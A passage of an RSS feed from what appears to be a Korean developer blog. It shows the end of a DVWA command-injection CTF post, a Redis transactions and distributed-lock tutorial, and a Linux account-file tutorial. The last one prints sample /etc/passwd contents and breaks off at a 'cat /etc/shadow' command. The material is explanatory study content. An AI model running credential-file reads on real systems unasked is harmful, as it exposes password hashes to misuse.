?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  결론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 이 공격이 통하는 웹서비스가 존재하는지가 의문입니다....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이 취약점 상당히 심각한 위험을 가지고 있는 것도 사실입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자의 입력값을 신뢰하지 말고 검증해야합니다.&lt;/li&gt;
&lt;li&gt;Blacklist 방식만 신뢰하면 안됩니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <category>command injection</category>
      <category>php</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/285</guid>
      <comments>https://jangto.tistory.com/entry/DVWA-Command-Injection-LowHigh-PHP#entry285comment</comments>
      <pubDate>Sun, 15 Jun 2025 23:42:55 +0900</pubDate>
    </item>
    <item>
      <title>[Redis] 트랜잭션 이해 : 원자성과 일관성 보장의 기술적 접근</title>
      <link>https://jangto.tistory.com/entry/Redis-%ED%8A%B8%EB%9E%9C%EC%9E%AD%EC%85%98-%EC%9D%B4%ED%95%B4-%EC%9B%90%EC%9E%90%EC%84%B1%EA%B3%BC-%EC%9D%BC%EA%B4%80%EC%84%B1-%EB%B3%B4%EC%9E%A5%EC%9D%98-%EA%B8%B0%EC%88%A0%EC%A0%81-%EC%A0%91%EA%B7%BC</link>
      <description>&lt;h2 data-sourcepos=&quot;9:1-9:210&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Redis Transaction &lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis에서도 트랜잭션(Transaction) 개념을 지원합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;트랜잭션은 여러 개의 명령어를 하나의 묶음으로 실행하는 것처럼 Redis에서 명령합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748963753479&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;MULTI
DECR coupon:summer_sale:stock
LPUSH user:1:coupons &quot;summer_sale&quot;
EXEC&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 예시를 설명해보겠습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;MULTI : 트랜젝션 시작&lt;/li&gt;
&lt;li&gt;DECR, LPUSH 명령어를 Queue에 삽입&lt;/li&gt;
&lt;li&gt;EXEC : Queue에 삽입한 명령어를 한번에 실행&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;기본 구성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis 트랜잭션은 다음 세 가지 명령어를 중심으로 이루어집니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;MULTI : 시작&lt;/li&gt;
&lt;li&gt;EXEC : 순차적으로 실행&lt;/li&gt;
&lt;li&gt;DISCARD : Queue안에 있는 데이터 모두 제거&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;작동 방식&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis 트랜잭션은 위에서 말했듯이 명령어를 모아뒀다가&amp;nbsp;EXEC이 호출되면 모두 한번에 순차적으로 실행되지만 꼭 주의해야 할점은 원장성이 보장되지 않는다는 점입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;원자성이란 모두 성공하거나 모두 실패해야한다 라는 내용입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748964342460&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;MULTI
SET name &quot;Jang&quot;
INCR name      # 오류 (문자열을 숫자처럼 증가시킬 수 없음)
SET city &quot;Ansan&quot;
EXEC&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에 있는 트랜젝션을 보게 되면 INCR name이 실패했지만 실제로는 이와 상관없이 SET city &quot;Ansan&quot;이 실행되게 됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;조건부 트랜젝션 (WATCH)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WATCH 명령어는 낙관적 락 방식의 조건부 트랜젝션을 지원한다고 합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;낙관적 락은 우선 충돌이 많이 일어나지 않는다는 전제를 깔고 일단 실행 후 나중에 문제가 있는지 확인하는 방식입니다.&lt;/li&gt;
&lt;li&gt;조건부 트랙젠션이라고 하는 이유는 key 변경 ? return : MULTI ~ EXEC 라고 볼 수 있기 때문입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748964887993&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;WATCH coupon:summer_sale:stock

GET coupon:summer_sale:stock    -- 변경되지 않음.
SET coupon:summer_sale:stock 15 -- 변경됨.

-- 1. coupon:summer_sale:stock이 변경되지 않았다면 실행
MULTI
~~~
EXEC

-- 2. coupon:summer_sale:stock이 변경되었다면 MULTI ~ EXEC 무시&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 여전히 롤백 기능이 없기 때문에 해당 문제를 해결하려면 어떤걸 사용해야할지 아래에서 알아보겠습니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-sourcepos=&quot;9:1-9:210&quot; data-ke-size=&quot;size16&quot;&gt;Redis를 사용할 때 &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;동시에 접근 시 발생하는 동시성 문제와 데이터 일관성 문제는 항상 고려해야 할 중요한 부분입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-sourcepos=&quot;9:1-9:210&quot; data-ke-size=&quot;size16&quot;&gt;이를 해결하기 위한 대표적인 두 가지 방식이 바로 Lua 스크립트와 분산 락입니다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;11:1-11:123&quot; data-ke-size=&quot;size16&quot;&gt;두 방법 모두 원자성을 보장하지만 적용 시점과 다루는 범위가 다르기 때문에 각각 특징을 살펴보고 언제 어떤 방법을 선택하는 것이 가장 효율적이고 좋은지에 대해 자세히 설명합니다.&lt;/p&gt;
&lt;h2 data-sourcepos=&quot;11:1-11:123&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Lua 스크립트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Lua 스크립트는 여러 Redis 명령어를 하나의 스크립트로 묶어 Redis 서버 내부에서 단일 명령어로 실행되도록 하는 기능입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 말은 Lua 스크립트가 실행되는 동안 Redis 서버는 다른 모든 명령을 블로킹하고 해당 스크립트만 처리한다는 뜻입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 여러 명령어를 단일 명령어로 실행하기 때문에 네트워크 비용도 줄일 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 Lua 스크립트 실행 도중 오류가 발생하게 되면 오류 직전까지 행위는 모두 유지(저장)되며 스크립트가 종료 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 자동 롤백 기능을 제공하지 않기 때문에 pcall을 사용해서 오류를 감지하고 명시적으로 보상 로직을 구현해줘야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;단, Redis 외부 자원(DataBase, 외부 API 등)에 대한 접근시에는 순서 보장을 할 수 없다는 단점이 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;언제 사용하는게 좋을까?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis는 싱글 스레드로 동작하며 클라이언트로부터 들어오는 모든 요청을 큐(Command Queue)에 순서대로 넣고 이 큐에서 명령을 하나씩 꺼내 처리합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; &lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;1. Redis 내부 작업의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;완벽한 원자성이 필요한 경우&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 Method 내부에서 단순히 Exist 확인 후 set 하는 경우를 예시로 들어보겠습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;A 요청이 EXISTS keyTest 명령을 생성하여 큐에 쌓습니다.&lt;/li&gt;
&lt;li&gt;B 요청이 EXISTS keyTest 명령을 생성하여 큐에 쌓습니다.&lt;/li&gt;
&lt;li&gt;큐에서 A가 쌓은 명령어를 꺼내 실행하게 되고 결과는 false 입니다.&lt;/li&gt;
&lt;li&gt;A 요청이 SET keyTest This is A명령을 생성하여 큐에 쌓습니다.&lt;/li&gt;
&lt;li&gt;큐에서 B가 쌓은 명령어를 꺼내 실행하게 되고 결과는 false 입니다.&lt;/li&gt;
&lt;li&gt;B 요청이 SET keyTest This is B명령을 생성하여 큐에 쌓습니다.&lt;/li&gt;
&lt;li&gt;큐에서 A가 쌓은 명령어를 꺼내 실행하게 되고 SET을 합니다.&lt;/li&gt;
&lt;li&gt;큐에서 B가 쌓은 명령어를 꺼내 실행하게 되고 덮어 쓰게 됩니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종적으로 keyTest의 값은 This is B가 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 A는 자신이 mykey를 성공적으로 설정했다고 생각하겠지만 실제로는 B에 의해 덮어쓰여져 데이터 불일치가 발생한 것이며&amp;nbsp;이는 EXISTS와 SET 명령이 Redis의 명령 큐를 통해 분리된 시간대에 처리되었기 때문에 발생하는 문제입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 네트워크 비용 최적화&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에 예시를 생각해 본다면 지금 클라이언트 A는 총 2번 Redis와 네트워크 통신을 하고 있다는 것을 알 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 Lua 스크립트로 해당 명령을 단일 명령으로 만든다면 1번 네트워크 통신으로 똑같은 결과를 만들어 낼 수 있습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. 예시 코드&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 예시 코드의 경우에는 전체 코드가 아닌 핵심 코드만 나타내고 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748182857759&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- Lua Script

local key = KEYS[1]
local value = ARGV[1]
local ttl = tonumber(ARGV[2])

if redis.call('EXISTS', key) == 0 then
    if ttl and ttl &amp;gt; 0 then
        redis.call('SETEX', key, ttl, value) -- SETEX: SET with EXpiration
    else
        redis.call('SET', key, value)
    end
    return 1
else
    return 0
end


-- Spring Code

public boolean setValueIfNotExists(String key, String value, String ttl) {
    ...
    // ⭐ Lua Script의 장점은 여기서 나타납니다.
    Long result = redisTemplate.execute(setIfNotExistsScript, keys, args.toArray());

    if (result != null &amp;amp;&amp;amp; result == 1L) {
        log.info(&quot;키 설정에 성공했습니다. '{}'&quot;, key);
        return true;
    } else {
        log.info(&quot;Key '{}' 이미 존재하는 키입니다.&quot;, key);
        return false;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;execute()로 Lua Script를 큐에 넣어두기 때문에 네트워크 비용은 단 1번 발생하게 되며 Script 전체가 실행되기 때문에 해당 Script에 있는 모든 명령어가 실행되기 때문에 원자성 또한 보장되게 됩니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 분산 락&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분산 락은 여러 서버 인스턴스들이 공유하는 Redis 외부의 자원 (데이터베이스, 외부 API, 파일 시스템 등)에 대한 접근을 제어하여 동시성 문제 및 순서 보장 문제를 해결할 수 있는데&amp;nbsp;이 말은 여러 서버 인스턴스들이 동일한 DB 테이블, 외부 결제 시스템 등에 동시에 접근하는 것을 막고 &lt;b&gt;한 번에 하나의 인스턴스만 접근&lt;/b&gt;하도록 제어합니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;언제 사용하는게 좋을까?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Redis 외부 자원의 원자적인 접근이 필요한 경우로 &lt;/b&gt;예를 들어 여러 서버 인스턴스가 동시에 데이터베이스의 특정 레코드를 업데이트하려고 할 때 분산 락을 사용하여 한 번에 하나의 인스턴스만 업데이트 작업을 수행하도록 보장할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;동작 방식&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;락 획득 시도
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 Key(락의 이름)를 레디스에 SETNX 명령어로 설정하려고 시도합니다.&lt;/li&gt;
&lt;li&gt;이때 key의 값은 락을 요청한 고유 ID로 설정하고 만료 시간(TTL)을 함께 부여하여 데드락을 방지합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;락 획득 성공
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SETNX 명령이 성공하면 클라이언트는 락을 획득한 것으로 간주하고 공유 자원에 대한 작업을 수행합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;락 획득 실패
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SETNX 명령이 실패하면 클라이언트는 락을 획득하지 못한 것이므로 일정 시간 대기 후 설정에 따라 재시도하거나 작업을 포기합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;락 해제
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;작업을 완료한 클라이언트는 락을 해제하기 위해 레디스에서 해당 key를 DEL 명령어로 삭제합니다.&lt;/li&gt;
&lt;li&gt;이때 락을 획득한 클라이언트만이 락을 해제할 수 있도록 키의 값이 자신의 고유 ID와 일치하는지 확인하는 로직이 추가해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-sourcepos=&quot;97:1-97:17&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;분산 락 구현 라이브러리&lt;/b&gt;&lt;/h3&gt;
&lt;p data-sourcepos=&quot;99:1-99:218&quot; data-ke-size=&quot;size16&quot;&gt;분산 락을 직접 구현하는 것은 복잡하고 오류 발생 가능성이 높기 때문에 일반적으로 검증된 라이브러리를 사용하는 것이 좋습니다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;99:1-99:218&quot; data-ke-size=&quot;size16&quot;&gt;Redis 기반 분산 락을 구현하는 대표적인 라이브러리로는 &lt;b&gt;Redisson&lt;/b&gt;는 Redlock 알고리즘을 지원하며 락 획득/해제, 락 대기, 자동 만료 등 분산 락 구현에 필요한 다양한 기능을 제공하여 개발 편의성을 높여줍니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. application.yml 설정&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1748962638134&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;redisson:
  singleServerConfig:
    address: &quot;redis://localhost:6379&quot;
    # password: password # 없다면 쓸 필요 없습니다.
    connectionMinimumIdleSize: 10 # connectionPool 설정
    connectionPoolSize: 64 # connectionPool 설정
    idleConnectionTimeout: 10000
    connectTimeout: 10000
    timeout: 3000 # Redis 명령어 타임아웃 설정&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. Redisson Code 설정&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 예시에서는 &lt;b&gt;이벤트 참여 횟수 제한&lt;/b&gt; 시나리오를 가정해보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 서버에서 동시에 한정된 수의 이벤트 참여를 시도할 때 정확히 정해진 횟수만큼만 참여가 이루어지도록 제어하는 상황입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748962909586&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Service
@Slf4j
public class EventParticipationService {

    @Autowired
    private RedissonClient redissonClient;

    // 예시를 위해 Redis에 저장된 값 대신 메모리 상의 AtomicInteger를 사용합니다.
    // 실제라면 이 값은 Redis의 counter나 DB에 저장되어야 합니다.
    private final AtomicInteger availableParticipations = new AtomicInteger(5); // 총 5번의 참여 기회

    public boolean participateInEvent() {
        String lockName = &quot;event_participation_lock&quot;;
        RLock lock = redissonClient.getLock(lockName);

        boolean isLocked = false;
        try {
            // 락 획득 시도: 1초 동안 락을 기다리고, 락 획득 시 3초 후 자동으로 락이 해제됩니다.
            isLocked = lock.tryLock(1, 3, TimeUnit.SECONDS);

            if (isLocked) {
                log.info(&quot;Lock acquired for event participation by thread: {}&quot;, Thread.currentThread().getName());

                // ⭐ 락 획득 성공
                // 참여 가능 횟수를 감소시킵니다.
                if (availableParticipations.get() &amp;gt; 0) {
                    availableParticipations.decrementAndGet();
                    log.info(&quot;Event participation successful! Remaining: {}&quot;, availableParticipations.get());
                    return true;
                } else {
                    log.warn(&quot;Event participation failed: No more participations available.&quot;);
                    return false;
                }

            } else {
                log.warn(&quot;Failed to acquire lock for event participation by thread: {}. Retrying or skipping...&quot;, Thread.currentThread().getName());
                // 락 획득 실패 시의 처리 로직 (예: 잠시 대기 후 재시도, 실패 메시지 반환 등)
                return false;
            }
        } catch (InterruptedException e) {
            // 스레드 인터럽트 발생 시 처리
            Thread.currentThread().interrupt();
            log.error(&quot;Thread interrupted while waiting for lock: {}&quot;, e.getMessage());
            return false;
        } finally {
            if (isLocked) {
                lock.unlock(); // 획득한 락 해제
                log.info(&quot;Lock released for event participation by thread: {}&quot;, Thread.currentThread().getName());
            }
        }
    }

    public int getRemainingParticipations() {
        return availableParticipations.get();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/Redis</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/282</guid>
      <comments>https://jangto.tistory.com/entry/Redis-%ED%8A%B8%EB%9E%9C%EC%9E%AD%EC%85%98-%EC%9D%B4%ED%95%B4-%EC%9B%90%EC%9E%90%EC%84%B1%EA%B3%BC-%EC%9D%BC%EA%B4%80%EC%84%B1-%EB%B3%B4%EC%9E%A5%EC%9D%98-%EA%B8%B0%EC%88%A0%EC%A0%81-%EC%A0%91%EA%B7%BC#entry282comment</comments>
      <pubDate>Wed, 4 Jun 2025 00:48:32 +0900</pubDate>
    </item>
    <item>
      <title>[Linux] 계정 비밀번호 정책 및 설정 feat.정보보안기사</title>
      <link>https://jangto.tistory.com/entry/Linux-%EA%B3%84%EC%A0%95-%EB%B9%84%EB%B0%80%EB%B2%88%ED%98%B8-%EC%A0%95%EC%B1%85-%EB%B0%8F-%EC%84%A4%EC%A0%95-feat%EC%A0%95%EB%B3%B4%EB%B3%B4%EC%95%88%EA%B8%B0%EC%82%AC</link>
      <description>&lt;p data-sourcepos=&quot;5:1-5:245&quot; data-ke-size=&quot;size16&quot;&gt;해킹 공격에서 비밀번호 탈취는 핵심적인 목표로 공격 대상이 되는 계정은 크게 일반 사용자, 시스템 운영에 필요한 특수 사용자&amp;nbsp;그리고 시스템의 모든 권한을 가진 루트(Root) 사용자로 나눌 수 있습니다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;5:1-5:245&quot; data-ke-size=&quot;size16&quot;&gt;이 중 특히 특수 사용자나 루트 사용자의 비밀번호 탈취 사건은 시스템 전체의 보안을 무너뜨리고 대규모 정보 유출이나 서비스 마비와 같은 심각한 문제를 야기하며 뉴스 속보로 다뤄지곤 합니다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;5:1-5:245&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;7:1-7:231&quot; data-ke-size=&quot;size16&quot;&gt;이처럼 치명적인 피해를 막기 위해 리눅스 시스템에서는 강력한 비밀번호 정책과 철저한 관리가 필수적입니다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;7:1-7:231&quot; data-ke-size=&quot;size16&quot;&gt;이번 글에서는 리눅스 시스템의 사용자 계정 정보와 비밀번호 보안의 핵심이 되는 &lt;b&gt;/etc/passwd&lt;/b&gt;와 &lt;b&gt;/etc/shadow&lt;/b&gt; 파일을 깊이 있게 분석하고 이를 통해 비밀번호 정책을 어떻게 설정하고 관리하는지 알아보겠습니다.&lt;/p&gt;
&lt;h2 data-sourcepos=&quot;7:1-7:231&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. /etc/passwd 이해&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linux 서버에 등록되어 있는 계정 정보가 담겨 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한을 확인해보면 root 계정은 읽기 및 쓰기가 가능하고 root 그룹은 읽기만 가능하고 그외 계정도 읽기만 가능합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748793630824&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ ls -al /etc/passwd

-rw-r--r-- 1 root root 1416 Apr  7  2024 /etc/passwd&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파일의 계정 정보는 아래와 같이 나열되며 보는 방법은 아래와 같습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[계정명]:[비밀번호]:[계정ID - UID]:[그룹ID - GID]:[코멘트 - 사용자 정보]:[홈 디렉토리]:[로그인 쉘]&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748793837022&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin
jangto:x:1000:1000:,,,:/home/jangto:/bin/bash&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;계정 ID 및 그룹ID : UID 및 GID 보는 방법&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;0 : root 사용자, root 그룹&lt;/li&gt;
&lt;li&gt;1 ~ 99 : 시스템 사용자 (서비스용, 로그인 불가), 시스템 그룹 (OS 내부에서 사용하는 그룹)&lt;/li&gt;
&lt;li&gt;100 ~ 999 : 시스템 / 서비스용 사용자, 시스템 / 서비스용 그룹 (데몬, 시스템 서비에 할당)&lt;/li&gt;
&lt;li&gt;1000 이상 : 일반 사용자, 일반 사용자 그룹 (사용자 생성시 자동 생성되는 기본 그룹)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;해당 정보는 민감한 정보일까요?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파일에는 직접적으로 민감한 정보는 포함되어 있지 않습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이유는 해당 파일에는 비밀번호가 &quot;x&quot;로 대체되며 실제 비밀번호는 /etc/shadow 파일에 hash 형태로 저장되어 있습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. /etc/shadow 이해&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파일은 계정의 실제 비밀번호가 hash 형태로 저장되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한을 확인해보면 root 계정은 읽기 및 쓰기가 가능하고 root 그룹은 읽기만 가능하고 그외 계정은 접근이 불가능합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;실제 환경에서 해당 파일의 root 권한도 400으로 읽기만 열어서 혹시 모를 휴먼 에러를 방지합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748794706302&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ ls -al /etc/shadow

-rw-r----- 1 root shadow 827 Apr  7  2024 /etc/shadow&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파일의 계정 정보는 아래와 같이 나열되며 보는 방법은 아래와 같습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[계정명]: [Hash 비밀번호] :[마지막 비밀번호 변경일]:[최소변경일수]:[최대변경일수]:[경고일 수]: [최대비활성화일수]:[계정만료일자]&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748795384317&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ cat /etc/shadow

